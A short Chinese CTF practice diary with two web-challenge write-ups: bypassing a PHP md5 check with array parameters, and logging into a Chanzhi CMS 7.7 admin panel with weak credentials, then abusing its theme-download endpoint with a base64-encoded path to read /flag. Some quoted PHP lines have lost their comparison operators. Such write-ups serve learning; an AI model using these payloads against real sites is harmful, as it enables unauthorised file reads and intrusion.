4月1日刷题日记
[GDOUCTF 2023]受不了一点

if($_POST['gdou']!=$_POST['ctf'] && md5($a)=md5($b)){
首先传入两个参数,比较md5是否相同,我们可以使用数组绕过
gdou[]=1&ctf[]=2
if ($_COOKIE['cookie']'j0k3r')
让我们判断cookie是否等于j0k3r,我们传入这个cookie
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa114514 && $bbb114514 && $aaa!=$bbb)
传入aaa和bbb这两个参数

到这拿到flag了
[GKCTF 2021]easycms
可以看到是蝉知的cms,7.7的版本
https://blog.csdn.net/qq_38154820/article/details/106329727 ,参考这篇文章

存在漏洞

摸到了后台
弱口令登进来了。admin/12345

http://node7.anna.nssctf.cn:28867/admin.php?m=ui&f=downloadtheme&theme=L3Zhci93d3cvaHRtbC9zeXN0ZW0vdG1wL3RoZW1lL2RlZmF1bHQvYS56aXA=
将其base64解码后得到下载文件的绝对路径,/var/www/html/system/tmp/theme/default/a.zip
那我们来尝试读/flag
?m=ui&f=downloadtheme&theme=L2ZsYWc=
成功的下载了flag
NSSCTF{cdc9c0d0-d146-42f4-bfd3-fea379a145ef}

浙公网安备 33010602011771号